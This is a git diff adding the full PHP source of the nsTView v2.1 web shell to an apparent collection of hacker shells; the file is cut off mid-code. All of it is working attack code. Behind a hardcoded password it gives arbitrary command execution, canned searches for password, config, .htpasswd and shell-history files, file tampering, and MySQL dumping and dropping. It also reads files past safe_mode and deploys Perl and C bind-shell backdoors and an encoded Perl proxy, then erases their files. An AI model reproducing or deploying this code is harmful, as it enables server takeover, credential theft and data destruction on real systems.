diff --git a/xakep-shells/PHP/nstview.php.php.txt b/xakep-shells/PHP/nstview.php.php.txt
new file mode 100644
index 0000000..4ecf4bb
--- /dev/null
+++ b/xakep-shells/PHP/nstview.php.php.txt
@@ -0,0 +1,2136 @@
+
+@session_start();
+@set_time_limit(0);
+@set_magic_quotes_runtime(0);
+error_reporting(E_ALL & ~E_NOTICE);
+#####cfg#####
+# use password true / false #
+$create_password = true;
+$password = "nst"; // default password for nstview, you can change it.
+
+# UNIX COMMANDS
+# description (nst) command
+# example: Shutdown (nst) shutdown -h now
+$fast_commands = "
+Show open ports (nst) netstat -an | grep LISTEN | grep tcp
+last root (nst) last root
+last (all users) (nst) last all
+Find all config.php in / (nst) find / -type f -name config.php
+Find all config.php in . (nst) find . -type f -name config.php
+Find all admin.php in / (nst) find / -type f -name admin.php
+Find all admin.php in . (nst) find . -type f -name admin.php
+Find all config.inc.php in / (nst) find / -type f -name config.inc.php
+Find all config.inc.php in . (nst) find . -type f -name config.inc.php
+Find all config.inc in / (nst) find / -type f -name config.inc
+Find all config.inc in . (nst) find . -type f -name config.inc
+Find all config.dat in / (nst) find / -type f -name config.dat
+Find all config.dat in . (nst) find . -type f -name config.dat
+Find all config* in / (nst) find / -type f -name config*
+Find all config* in . (nst) find . -type f -name config*
+Find all pass* in / (nst) find / -type f -name pass*
+Find all pass* in . (nst) find . -type f -name pass*
+Find all .bash_history in / (nst) find / -type f -name .bash_history
+Find all .bash_history in . (nst) find . -type f -name .bash_history
+Find all .htpasswd in / (nst) find / -type f -name .htpasswd
+Find all .htpasswd in . (nst) find . -type f -name .htpasswd
+Find all writable dirs/files in / (nst) find / -perm -2 -ls
+Find all writable dirs/files in . (nst) find . -perm -2 -ls
+Find all suid files in / (nst) find / -type f -perm -04000 -ls
+Find all suid files in . (nst) find . -type f -perm -04000 -ls
+Find all sgid files in / (nst) find / -type f -perm -02000 -ls
+Find all sgid files in . (nst) find . -type f -perm -02000 -ls
+Find all .fetchmailrc files in / (nst) find / -type f -name .fetchmailrc
+Find all .fetchmailrc files in . (nst) find . -type f -name .fetchmailrc
+OS Version? (nst) sysctl -a | grep version
+Kernel version? (nst) cat /proc/version
+cat syslog.conf (nst) cat /etc/syslog.conf
+Cat - Message of the day (nst) cat /etc/motd
+Cat hosts (nst) cat /etc/hosts
+Distrib name (nst) cat /etc/issue.net
+Distrib name (2) (nst) cat /etc/*-realise
+Display all process - wide output (nst) ps auxw
+Display all your process (nst) ps ux
+Interfaces (nst) ifconfig
+CPU? (nst) cat /proc/cpuinfo
+RAM (nst) free -m
+HDD space (nst) df -h
+List of Attributes (nst) lsattr -a
+Mount options (nst) cat /etc/fstab
+Is cURL installed? (nst) which curl
+Is wGET installed? (nst) which wget
+Is lynx installed? (nst) which lynx
+Is links installed? (nst) which links
+Is fetch installed? (nst) which fetch
+Is GET installed? (nst) which GET
+Is perl installed? (nst) which perl
+Where is apache (nst) whereis apache
+Where is perl (nst) whereis perl
+locate proftpd.conf (nst) locate proftpd.conf
+locate httpd.conf (nst) locate httpd.conf
+locate my.conf (nst) locate my.conf
+locate psybnc.conf (nst) locate psybnc.conf
+";
+
+
+
+# WINDOWS COMMANDS
+# description (nst) command
+# example: Delete autoexec.bat (nst) del c:\autoexec.bat
+$fast_commands_win = "
+OS Version (nst) ver
+Tasklist (nst) tasklist
+Attributes in . (nst) attrib
+Show open ports (nst) netstat -an
+";
+
+
+
+
+
+######ver####
+$ver= "v2.1";
+#############
+$pass=$_POST['pass'];
+if($pass==$password){
+$_SESSION['nst']="$pass";
+}
+if ($_SERVER["HTTP_CLIENT_IP"]) $ip = $_SERVER["HTTP_CLIENT_IP"];
+else if($_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
+else if($_SERVER["REMOTE_ADDR"]) $ip = $_SERVER["REMOTE_ADDR"];
+else $ip = $_SERVER['REMOTE_ADDR'];
+$ip=htmlspecialchars($ip);
+
+if($create_password==true){
+
+if(!isset($_SESSION['nst']) or $_SESSION['nst']!=$password){
+die("
+nsTView $ver:: nst.void.ru
+
+
+");}
+
+}
+$d=$_GET['d'];
+
+function adds($editf){
+#if(get_magic_quotes_gpc()==0){
+$editf=addslashes($editf);
+#}
+return $editf;
+}
+function adds2($editf){
+if(get_magic_quotes_gpc()==0){
+$editf=addslashes($editf);
+}
+return $editf;
+}
+
+$f = "nst_sql.txt";
+$f_d = $_GET['f_d'];
+
+if($_GET['download']){
+$download=$_GET['download'];
+header("Content-disposition: attachment; filename=\"$download\";");
+readfile("$d/$download");
+exit;}
+
+if($_GET['dump_download']){
+header("Content-disposition: attachment; filename=\"$f\";");
+header("Content-length: ".filesize($f_d."/".$f));
+header("Expires: 0");
+readfile($f_d."/".$f);
+if(is_writable($f_d."/".$f)){
+unlink($f_d."/".$f);
+}
+die;
+}
+
+
+$images=array(".gif",".jpg",".png",".bmp",".jpeg");
+$whereme=getcwd();
+@$d=@$_GET['d'];
+$copyr = "nsTView $ver o... Network security team ...o ";
+$php_self=@$_SERVER['PHP_SELF'];
+if(@eregi("/",$whereme)){$os="unix";}else{$os="win";}
+if(!isset($d)){$d=$whereme;}
+$d=str_replace("\\","/",$d);
+if(@$_GET['p']=="info"){
+@phpinfo();
+exit;}
+if(@$_GET['img']=="1"){
+@$e=$_GET['e'];
+header("Content-type: image/gif");
+readfile("$d/$e");
+}
+if(@$_GET['getdb']=="1"){
+header('Content-type: application/plain-text');
+header('Content-Disposition: attachment; filename=nst-mysql-damp.htm');
+}
+print "nsT View $ver
+
+
+";
+print "
+
+0 ";
+$expl=explode("/",$d);
+$coun=count($expl);
+if($os=="unix"){echo "/ ";}
+else{
+ echo "$expl[0]/ ";}
+for($i=1; $i<$coun; $i++){
+ @$xx.=$expl[$i]."/";
+$sls="$expl[$i] /";
+$sls=str_replace("//","/",$sls);
+$sls=str_replace("/'>/","/'>",$sls);
+print $sls;
+}
+if(@ini_get("register_globals")){$reg_g="ON";}else{$reg_g="OFF";}
+if(@ini_get("safe_mode")){$safe_m="ON";}else{$safe_m="OFF";}
+echo " ";
+if($os=="unix"){ echo "
+id: ".@exec('id')."
+uname -a: ".@exec('uname -a')." ";} echo"
+Your IP: [$ip ] Server IP: [".gethostbyname($_SERVER["HTTP_HOST"])." ] Server H.D. : [".$_SERVER["HTTP_HOST"]." ]
+[Safe mode: $safe_m] [Register globals: $reg_g]
+[Back ]
+[Home ]
+[Shell (1) (2) ]
+[Upload ]
+[Tools ]
+[PHPinfo ]
+[DEL Folder ]
+[SQL ]
+[Self Remover ]
+
+";
+if($os=="win"){ echo "
+
+<
+A
+B
+C
+D
+E
+F
+G
+H
+I
+J
+K
+L
+M
+N
+O
+P
+Q
+R
+S
+T
+U
+V
+W
+X
+Y
+Z
+ ";}else{echo " ";}
+print "
+:: Create folder ::
+Create file ::
+Read file if safe mode is On ::";
+if($os=="unix"){
+print "PS table ::";
+}
+print " ";
+
+
+
+
+
+if($_GET['p']=="ftp"){
+print "";
+
+
+
+print "
";
+print $copyr;
+exit;
+}
+
+
+
+
+
+
+
+
+
+
+if(@$_GET['p']=="sql"){
+print "";
+###
+
+$f_d = $_GET['f_d'];
+if(!isset($f_d)){$f_d=".";}
+if($f_d==""){$f_d=".";}
+
+$php_self=$_SERVER['PHP_SELF'];
+$delete_table=$_GET['delete_table'];
+$tbl=$_GET['tbl'];
+$from=$_GET['from'];
+$to=$_GET['to'];
+$adress=$_POST['adress'];
+$port=$_POST['port'];
+$login=$_POST['login'];
+$pass=$_POST['pass'];
+$adress=$_GET['adress'];
+$port=$_GET['port'];
+$login=$_GET['login'];
+$pass=$_GET['pass'];
+$conn=$_GET['conn'];
+if(!isset($adress)){$adress="localhost";}
+if(!isset($login)){$login="root";}
+if(!isset($pass)){$pass="";}
+if(!isset($port)){$port="3306";}
+if(!isset($from)){$from=0;}
+if(!isset($to)){$to=50;}
+
+
+?>
+
+
+ if(!$conn){ ?>
+
+
+
+
+
+
+
+$conn=$_GET['conn'];
+$adress=$_GET['adress'];
+$port=$_GET['port'];
+$login=$_GET['login'];
+$pass=$_GET['pass'];
+if($conn){
+
+$serv = @mysql_connect($adress.":".$port, $login,$pass) or die("Error: ".mysql_error()." ");
+if($serv){$status="Connected. :: Log out ";}else{$status="Disconnected.";}
+print "Status: $status "; # #D7FFA8
+print "";
+print "[db] ";
+print "";
+$res = mysql_list_dbs($serv);
+while ($str=mysql_fetch_row($res)){
+print "[DEL] [DUMP] $str[0] ";
+$tc++;
+}
+$baza=$_GET['baza'];
+$db=$_GET['db'];
+print "[Total db: $tc] ";
+if($baza){
+print "db: [$db]
";
+$result=@mysql_list_tables($db);
+while($str=@mysql_fetch_array($result)){
+$c=mysql_query ("SELECT COUNT(*) FROM $str[0]");
+$records=mysql_fetch_array($c);
+
+if(strlen($str[0])>$s4ot){$s4ot=strlen($str[0]);}
+if($records[0]=="0"){
+print "[D] [R] [$records[0]] $str[0] ";
+}else{
+print "[D] [R] [$records[0]] $str[0] ";
+}
+mysql_free_result($c);
+$total_t++;
+}
+print "Total tables: $total_t ";
+ print "";
+for($i=0; $i<$s4ot+10; $i++){print " ";}
+ print " ";
+} #end baza
+
+
+
+
+# delete table
+if(isset($delete_table)){
+mysql_select_db($_GET['db']) or die("".mysql_error()." ");
+mysql_query("DROP TABLE IF EXISTS $delete_table") or die("".mysql_error()." ");
+print "Table [ $delete_table ] :: Deleted success! ";
+print " ";
+}
+# end of delete table
+
+# delete database
+if(isset($_GET['delete_db'])){
+mysql_drop_db($_GET['delete_db']) or die("".mysql_error()." ");
+print "Database ".$_GET['delete_db']." :: Deleted Success!";
+print " ";
+}
+# end of delete database
+
+# delete row
+if(isset($_POST['delete_row'])){
+$_POST['delete_row'] = base64_decode($_POST['delete_row']);
+mysql_query("DELETE FROM ".$_GET['tbl']." WHERE ".$_POST['delete_row']) or die("".mysql_error()." ");
+$del_result = "Deleted Success! ".$_POST['delete_row'];
+print " ";
+}
+# end of delete row
+
+
+$vn=$_GET['vn'];
+print " ";
+print "Database: $db => $vn ";
+
+# edit row
+if(isset($_POST['edit_row'])){
+$edit_row=base64_decode($_POST['edit_row']);
+
+$r_edit = mysql_query("SELECT * FROM $tbl WHERE $edit_row") or die("".mysql_error()." ");
+print "
+ ";
+print " ";
+if(!$_POST['makeupdate']){print " ";}
+
+
+
+
+if($_POST['makeupdate']){
+if($_POST['upd']=='update'){
+preg_match_all("/name='(.*?)'\scols=39\srows=5>(.*?)<\/textarea>/i",$buff,$matches3);
+$delstring=$_POST['delstring'];
+$delstring=base64_decode($delstring);
+$delstring = substr($delstring, 0, strlen($delstring)-5);
+
+for($i=0; $iPHP var: \$sql=\"$up_string\"; ";
+print " ";
+mysql_query($up_string) or die("".mysql_error()." ");
+}#end of make update
+
+
+
+if($_POST['upd']=='insert'){
+preg_match_all("/name='(.*?)'\scols=39\srows=5>(.*?)<\/textarea>/i",$buff,$matches3);
+$delstring=$_POST['delstring'];
+$delstring=base64_decode($delstring);
+$delstring = substr($delstring, 0, strlen($delstring)-5);
+
+for($i=0; $i".mysql_error()."");
+print "PHP var: \$sql=\"$make_insert\"; ";
+print " ";
+}#end of insert
+}#end of update
+}
+# end of edit row
+
+
+# insert new line
+if($_GET['ins_new_line']){
+$qn = mysql_query('SHOW FIELDS FROM '.$tbl) or die("".mysql_error()." ");
+print "
+Insert new line in $tbl table ";
+print "";
+while ($new_line = mysql_fetch_array($qn, MYSQL_ASSOC)) {
+foreach ($new_line as $key =>$next) {
+$buff .= "$next ";
+}
+$expl=explode(" ",$buff);
+$buff2 .= $expl[0]." ";
+print "$expl[0] ($expl[1] )
+
+ ";
+unset($buff);
+}
+print "
+ ";
+if($_POST['mk_ins']){
+preg_match_all("/(.*?)\s/i",$buff2,$matches3);
+for($i=0; $i".mysql_error()."");
+print "PHP var: \$sql=\"$make_insert\"; ";
+print " ";
+}#end of mk ins
+}#end of ins new line
+
+
+
+
+
+
+if(isset($_GET['rename_table'])){
+$rename_table=$_GET['rename_table'];
+print " Rename $rename_table to
+
+
+
+
+";
+
+if(isset($_POST['new_name'])){
+mysql_select_db($db) or die("".mysql_error()." ");
+mysql_query("RENAME TABLE $rename_table TO ".$_POST['new_name']) or die("".mysql_error()." ");
+print "Table $rename_table renamed to ".$_POST['new_name']." ";
+print " ";
+}
+
+}#end of rename
+
+
+# dump table
+if($_GET['dump']){
+if(!is_writable($f_d)){die("This folder $f_d isnt writable! Cannot make dump.
+You can change temp folder for dump file in your browser!
+Change variable &f_d=(here writable directory, expl: /tmp or c:/windows/temp)
+Then press enter
+ ");}
+mysql_select_db($db) or die("".mysql_error()." ");
+$fp = fopen($f_d."/".$f,"w");
+fwrite($fp, "# nsTView.php v$ver
+# Web: http://nst.void.ru
+# Dump from: ".$_SERVER["SERVER_NAME"]." (".$_SERVER["SERVER_ADDR"].")
+# MySQL version: ".mysql_get_server_info()."
+# PHP version: ".phpversion()."
+# Date: ".date("d.m.Y - H:i:s")."
+# Dump db ( $db ) Table ( $tbl )
+# --- eof ---
+
+");
+$que = mysql_query("SHOW CREATE TABLE `$tbl`") or die("".mysql_error()." ");
+$row = mysql_fetch_row($que);
+fwrite($fp, "DROP TABLE IF EXISTS `$tbl`;\r\n");
+$row[1]=str_replace("\n","\r\n",$row[1]);
+fwrite($fp, $row[1].";\r\n\r\n");
+$que = mysql_query("SELECT * FROM `$tbl`");
+if(mysql_num_rows($que)>0){
+while($row = mysql_fetch_assoc($que)){
+$keys = join("`, `", array_keys($row));
+$values = array_values($row);
+foreach($values as $k=>$v) {$values[$k] = adds2($v);}
+$values = implode("', '", $values);
+$sql = "INSERT INTO `$tbl`(`$keys`) VALUES ('".$values."');\r\n";
+fwrite($fp, $sql);
+}
+}
+fclose($fp);
+print " ";
+}#end of dump
+
+
+
+
+# db dump
+if($_GET['dump_db']){
+$c=mysql_num_rows(mysql_list_tables($db));
+if($c>=1){
+print " Dump database $db ";
+}else{
+print "Cannot dump database. No tables exists in $db db. ";
+die;
+}
+if(sizeof($tabs)==0){
+$res = mysql_query("SHOW TABLES FROM $db");
+if(mysql_num_rows($res)>0){
+while($row=mysql_fetch_row($res)){
+$tabs[] .= $row[0];
+}
+}
+}
+$fp = fopen($f_d."/".$f,"w");
+fwrite($fp, "# nsTView.php v$ver
+# Web: http://nst.void.ru
+# Dump from: ".$_SERVER["SERVER_NAME"]." (".$_SERVER["SERVER_ADDR"].")
+# MySQL version: ".mysql_get_server_info()."
+# PHP version: ".phpversion()."
+# Date: ".date("d.m.Y - H:i:s")."
+# Dump db ( $db )
+# --- eof ---
+
+");
+foreach($tabs as $tab) {
+fwrite($fp,"DROP TABLE IF EXISTS `$tab`;\r\n");
+$res = mysql_query("SHOW CREATE TABLE `$tab`");
+$row = mysql_fetch_row($res);
+$row[1]=str_replace("\n","\r\n",$row[1]);
+fwrite($fp, $row[1].";\r\n\r\n");
+$res = mysql_query("SELECT * FROM `$tab`");
+if(mysql_num_rows($res)>0){
+while($row=mysql_fetch_assoc($res)){
+$keys = join("`, `", array_keys($row));
+$values = array_values($row);
+foreach($values as $k=>$v) {$values[$k] = adds2($v);}
+$values = join("', '", $values);
+$sql = "INSERT INTO `$tab`(`$keys`) VALUES ('$values');\r\n";
+fwrite($fp, $sql);
+}}
+fwrite($fp, "\r\n\r\n\r\n");
+}
+fclose($fp);
+print " ";
+}#end of db dump
+
+
+
+
+
+
+$vnutr=$_GET['vnutr'];
+$tbl=$_GET['tbl'];
+if($vnutr and !$_GET['ins_new_line']){
+print "";
+$vn=$_GET['vn'];
+$from=$_GET['from'];
+$to=$_GET['to'];
+$from=$_GET['from'];
+$to=$_GET['to'];
+if(!isset($from)){$from=0;}
+if(!isset($to)){$to=50;}
+$query = "SELECT * FROM $vn LIMIT $from,$to";
+$result = mysql_query($query);
+$result1= mysql_query($query);
+print $del_result;
+print "";
+} #end vnutr
+print "
";
+} # end $conn
+
+
+### end of sql
+print "
";
+print $copyr;
+die;
+}
+
+
+@$p=$_GET['p'];
+if(@$_GET['p']=="selfremover"){
+ print "";
+print "Are you sure?
+Yes | No
+Remove: ";
+$path=__FILE__;
+print $path;
+print " ?
";
+die;
+}
+
+if($p=="yes"){
+$path=__FILE__;
+@unlink($path);
+$path=str_replace("\\","/",$path);
+if(file_exists($path)){$hmm="NOT DELETED!!!";
+print "FILE $path NOT DELETED ";
+}else{$hmm="DELETED";}
+print "";
+
+}
+
+
+
+if($os=="unix"){
+function fastcmd(){
+global $fast_commands;
+$c_f=explode("\n",$fast_commands);
+$c_f=count($c_f)-2;
+print "
+
+Total commands: $c_f
+";
+
+$c=substr_count($fast_commands," (nst) ");
+for($i=0; $i<=$c; $i++){
+ $expl2=explode("\r\n",$fast_commands);
+ $expl=explode(" (nst) ",$expl2[$i]);
+ if(trim($expl[1])!=""){
+ print "$expl[0] \r\n";
+ }
+}
+
+print "
+
+
+";
+}
+}#end of os unix
+
+
+if($os=="win"){
+function fastcmd(){
+global $fast_commands_win;
+$c_f=explode("\n",$fast_commands_win);
+$c_f=count($c_f)-2;
+print "
+
+Total commands: $c_f
+";
+
+$c=substr_count($fast_commands_win," (nst) ");
+for($i=0; $i<=$c; $i++){
+ $expl2=explode("\r\n",$fast_commands_win);
+ $expl=explode(" (nst) ",$expl2[$i]);
+ if(trim($expl[1])!=""){
+ print "$expl[0] \r\n";
+ }
+}
+
+print "
+
+
+";
+}
+}#end of os win
+
+
+echo "
+";
+if(@$_GET['sh311']=="1"){echo "cmd pwd:
+";
+chdir($d);
+echo getcwd()."
+Fast cmd: ";
+fastcmd();
+if($os=="win"){$d=str_replace("/","\\\\",$d);}
+print "
+Insert pwd
+
+";
+if(@$_POST['sh3']){
+$sh3=$_POST['sh3'];
+echo "";
+print `$sh3`;
+echo " ";
+}
+}
+
+if(@$_GET['sh311']=="2"){
+echo "cmd
+pwd:
+";
+chdir($d);
+echo getcwd()."
+Fast cmd: ";
+fastcmd();
+if($os=="win"){$d=str_replace("/","\\\\",$d);}
+print "
+Insert pwd
+ ";
+if(@$_POST['sh3']){
+$sh3=$_POST['sh3'];
+echo ""; print `$sh3`; echo " ";}
+echo $copyr;
+exit;}
+
+if(@$_GET['delfl']){
+@$delfolder=$_GET['delfolder'];
+echo "DELETE FOLDER: ".@$_GET['delfolder']."
+(All files must be writable)
+Yes || No
+";
+echo $copyr;
+exit;
+}
+
+
+$mkdir=$_GET['mkdir'];
+if($mkdir){
+print "Create Folder in $d :
+
+New folder name:
+
+
+";
+if($_POST['dir_n']){
+mkdir($d."/".$_POST['dir_n']) or die('Cannot create directory '.$_POST['dir_n']);
+print "Directory created success! ";
+}
+print $copyr;
+die;
+}
+
+
+$mkfile=$_GET['mkfile'];
+if($mkfile){
+print "Create file in $d :
+
+File name:
+(example: hello.txt , hello.php)
+
+
+";
+if($_POST['file_n']){
+$fp=fopen($d."/".$_POST['file_n'],"w") or die('Cannot create file '.$_POST['file_n']);
+fwrite($fp,"");
+print "File created success! ";
+}
+print $copyr;
+die;
+}
+
+
+$ps_table=$_GET['ps_table'];
+if($ps_table){
+
+if($_POST['kill_p']){
+exec("kill -9 ".$_POST['kill_p']);
+}
+
+$str=`ps aux`;
+
+# You can put here preg_match_all for other distrib/os
+preg_match_all("/(?:.*?)([0-9]{1,7})(.*?)\s\s\s[0-9]:[0-9][0-9]\s(.*)/i",$str,$matches);
+
+
+print "PS Table :: Fast kill program
+(p.s: Tested on Linux slackware 10.0)
+ ";
+print " ";
+unset($str);
+print $copyr;
+die;
+}#end of ps table
+
+
+$read_file_safe_mode=$_GET['read_file_safe_mode'];
+if($read_file_safe_mode){
+
+if(!isset($_POST['l'])){$_POST['l']="root";}
+
+print "
+Read file content using MySQL - when safe_mode , open_basedir is ON
+
+
+(example: /etc/hosts)
+
+
+
+ ";
+
+if($_POST['read_file']){
+$read_file=$_POST['read_file'];
+@mysql_connect($_POST['serv_ip'].":".$_POST['port'],$_POST['l'],$_POST['p']) or die("".mysql_error()." ");
+mysql_create_db("tmp_bd_file") or die("".mysql_error()." ");
+mysql_select_db("tmp_bd_file") or die("".mysql_error()." ");
+mysql_query('CREATE TABLE `tmp_file` ( `file` LONGBLOB NOT NULL );') or die("".mysql_error()." ");
+mysql_query("LOAD DATA INFILE \"".addslashes($read_file)."\" INTO TABLE tmp_file");
+$query = "SELECT * FROM tmp_file";
+$result = mysql_query($query) or die("".mysql_error()." ");
+print "File content : ";
+for($i=0;$i$col_value) {
+print htmlspecialchars($col_value)." ";}}
+mysql_free_result($result);
+mysql_drop_db("tmp_bd_file") or die("".mysql_error()." ");
+}
+
+
+print $copyr;
+die;
+}#end of read_file_safe_mode
+
+
+# sys
+$wich_f=$_GET['wich_f'];
+$delete=$_GET['delete'];
+$del_f=$_GET['del_f'];
+$chmod=$_GET['chmod'];
+$ccopy_to=$_GET['ccopy_to'];
+
+
+# delete
+if(@$_GET['del_f']){
+if(!isset($delete)){
+print "Delete this file?
+$d/$wich_f
+Yes / No
+";}
+if($delete==1){
+unlink($d."/".$del_f);
+print "File: $d/$del_f DELETED!
+ # BACK
+";
+}
+echo $copyr;
+exit;
+}
+
+
+# copy to
+if($ccopy_to){
+$wich_f=$_POST['wich_f'];
+$to_f=$_POST['to_f'];
+print "Copy file:
+$d/$ccopy_to
+
+
+File:
+To:
+
+";
+
+if($to_f){
+@copy($wich_f,$to_f) or die("Cannot copy!!! maybe folder is not writable ");
+print "Copy success!!! ";
+}
+
+echo $copyr;
+exit;
+}
+
+
+# chmod
+if(@$_GET['chmod']){
+$perms = @fileperms($d."/".$wich_f);
+print "CHMOD file $d/$wich_f
+ This file chmod is ";
+print perm($perms);
+print "
+ ";
+$chmd=<<
+
+
+
+
+
+
+
+HTML;
+
+print "".$chmd."
+
+$d/$wich_f
+
+
+
+";
+$t_total=$_POST['t_total'];
+if($t_total){
+chmod($d."/".$wich_f,$t_total);
+print "Now chmod is $t_total ";
+print "# BACK ";
+}
+echo $copyr;
+exit;
+}
+
+# rename
+if(@$_GET['rename']){
+print "RENAME $d/$wich_f ?
+
+
+RENAME $wich_f TO
+
+
+
+";
+
+@$rto=$_POST['rto'];
+
+if($rto){
+$fr1=$d."/".$wich_f;
+$fr1=str_replace("//","/",$fr1);
+$to1=$d."/".$rto;
+$to1=str_replace("//","/",$to1);
+
+rename($fr1,$to1);
+print "File $wich_f Renamed to $rto ";
+
+echo " ";
+
+}
+
+echo $copyr;
+exit;
+}
+
+
+
+
+if(@$_GET['deldir']){
+@$dir=$_GET['dir'];
+function deldir($dir)
+{
+$handle = @opendir($dir);
+while (false!==($ff = @readdir($handle))){
+if($ff != "." && $ff != ".."){
+if(@is_dir("$dir/$ff")){
+deldir("$dir/$ff");
+}else{
+@unlink("$dir/$ff");
+}}}
+@closedir($handle);
+if(@rmdir($dir)){
+@$success = true;}
+return @$success;
+}
+$dir=@$dir;
+deldir($dir);
+
+$rback=$_GET['rback'];
+@$rback=explode("/",$rback);
+$crb=count($rback);
+for($i=0; $i<$crb-1; $i++){
+ @$x.=$rback[$i]."/";
+}
+echo " ";
+echo $copyr;
+exit;}
+
+
+if(@$_GET['t']=="tools"){
+ # unix
+if($os=="unix"){
+print "
+
+P.S: After you Start, your browser may stuck! You must close it, and then run nstview.php again.
+
+
+
+";
+}#end of unix
+
+
+if($_POST['perl_bd']){
+$port=$_POST['port'];
+$perl_bd_scp = "
+use Socket;\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
+setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);bind(S,sockaddr_in(\$p,INADDR_ANY));
+listen(S,50);while(1){accept(X,S);if(!(\$pid=fork)){if(!defined \$pid){exit(0);}
+open STDIN,\"<&X\";open STDOUT,\">&X\";open STDERR,\">&X\";exec(\"/bin/sh -i\");
+close X;}}";
+
+if(is_writable("/tmp")){
+$fp=fopen("/tmp/nst_perl_bd.pl","w");
+fwrite($fp,"$perl_bd_scp");
+passthru("nohup perl /tmp/nst_perl_bd.pl &");
+unlink("/tmp/nst_perl_bd.pl");
+}else{
+if(is_writable(".")){
+mkdir(".nst_bd_tmp");
+$fp=fopen(".nst_bd_tmp/nst_perl_bd.pl","w");
+fwrite($fp,"$perl_bd_scp");
+passthru("nohup perl .nst_bd_tmp/nst_perl_bd.pl &");
+unlink(".nst_bd_tmp/nst_perl_bd.pl");
+rmdir(".nst_bd_tmp");
+}
+}
+$show_ps="1";
+}#end of start perl_bd
+
+if($_POST['perl_proxy']){
+$port=$_POST['port'];
+$perl_proxy_scp = "IyEvdXNyL2Jpbi9wZXJsICANCiMhL3Vzci91c2MvcGVybC81LjAwNC9iaW4vcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtIGh0dHAgcHJveHkgc2VydmVyLiB6YXB1c2thamVtOiBwZXJsIHByb3h5LnBsCTgxODEgbHVib2ogcG9ydCB2aTZpIDEwMjQtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KI3JlcXVpcmUgInN5cy9zb2NrZXQucGgiOw0KdXNlIFNvY2tldDsNCnNyYW5kICh0aW1lfHwkJCk7DQojLS0tICBEZWZpbmUgYSBmcmllbmRseSBleGl0IGhhbmRsZXINCiRTSUd7J0tJTEwnfSA9ICRTSUd7UVVJVH0gPSAkU0lHe0lOVH0gPSAnZXhpdF9oYW5kbGVyJzsNCnN1YiBleGl0X2hhbmRsZXIgew0KICAgIHByaW50ICJcblxuIC0tLSBQcm94eSBzZXJ2ZXIgaXMgZHlpbmcgLi4uX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QgIkNvbm5lY3RpbmcgdG8gJHJlbW90ZV9pcCBwb3J0ICRwb3J0LlxuXG4iOw0KICAgICRzb2NrZXRfZm9ybWF0ID0gJ1MgbiBhNCB4OCc7DQogICAgJGxvY2FsX3BvcnQgID0gcGFjaygkc29ja2V0X2Zvcm1hdCwgJkFGX0lORVQsIDAsICRsb2NhbF9ob3N0X2lwKTsNCiAgICAkcmVtb3RlX3BvcnQgPSBwYWNrKCRzb2NrZXRfZm9ybWF0LCAmQUZfSU5FVCwgJHBvcnQsICRyZW1vdGVfYWRkcik7DQogICAgc29ja2V0KCRfWzBdLCAmQUZfSU5FVCwgJlNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSAic29ja2V0OiAkISI7DQogICAgYmluZCgkX1swXSwgJGxvY2FsX3BvcnQpIHx8IGRpZSAiYmluZDogJCEiOw0KICAgIGNvbm5lY3QoJF9bMF0sICRyZW1vdGVfcG9ydCkgfHwgZGllICJzb2NrZXQ6ICQhIjsNCiAgICAkY3VyID0gc2VsZWN0KCRfWzBdKTsgIA0KDQogICAgJHwgPSAxOwkJCQkjIERpc2FibGUgYnVmZmVyaW5nIG9uIHNvY2tldC4NCiAgICBzZWxlY3QoJGN1cik7DQp9DQoNCg==";
+
+if(is_writable("/tmp")){
+$fp=fopen("/tmp/nst_perl_proxy.pl","w");
+fwrite($fp,base64_decode($perl_proxy_scp));
+passthru("nohup perl /tmp/nst_perl_proxy.pl $port &");
+unlink("/tmp/nst_perl_proxy.pl");
+}else{
+if(is_writable(".")){
+mkdir(".nst_proxy_tmp");
+$fp=fopen(".nst_proxy_tmp/nst_perl_proxy.pl","w");
+fwrite($fp,base64_decode($perl_proxy_scp));
+passthru("nohup perl .nst_proxy_tmp/nst_perl_proxy.pl $port &");
+unlink(".nst_proxy_tmp/nst_perl_proxy.pl");
+rmdir(".nst_proxy_tmp");
+}
+}
+$show_ps="1";
+}#end of start perl_proxy
+
+if($_POST['c_bd']){
+$port=$_POST['port'];
+$c_bd_scp = "#define PORT $port
+#include
+#include
+#include
+#include
+#include
+
+int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
+struct sockaddr_in serv_addr;
+struct sockaddr_in client_addr;
+
+int main ()
+{
+ soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+ if (soc_des == -1)
+ exit(-1);
+ bzero((char *) &serv_addr, sizeof(serv_addr));
+ serv_addr.sin_family = AF_INET;
+ serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
+ serv_addr.sin_port = htons(PORT);
+ soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
+ if (soc_rc != 0)
+ exit(-1);
+ if (fork() != 0)
+ exit(0);
+ setpgrp();
+ signal(SIGHUP, SIG_IGN);
+ if (fork() != 0)
+ exit(0);
+ soc_rc = listen(soc_des, 5);
+ if (soc_rc != 0)
+ exit(0);
+ while (1) {
+ soc_len = sizeof(client_addr);
+ soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
+ if (soc_cli < 0)
+ exit(0);
+ cli_pid = getpid();
+ server_pid = fork();
+ if (server_pid != 0) {
+ dup2(soc_cli,0);
+ dup2(soc_cli,1);
+ dup2(soc_cli,2);
+ execl(\"/bin/sh\",\"sh\",(char *)0);
+ close(soc_cli);
+ exit(0);
+ }
+ close(soc_cli);
+ }
+}
+
+";
+
+
+if(is_writable("/tmp")){
+$fp=fopen("/tmp/nst_c_bd.c","w");
+fwrite($fp,"$c_bd_scp");
+passthru("gcc /tmp/nst_c_bd.c -o /tmp/nst_bd");
+passthru("nohup /tmp/nst_bd &");
+unlink("/tmp/nst_c_bd.c");
+unlink("/tmp/nst_bd");
+}else{
+if(is_writable(".")){
+mkdir(".nst_bd_tmp");
+$fp=fopen(".nst_bd_tmp/nst_c_bd.c","w");
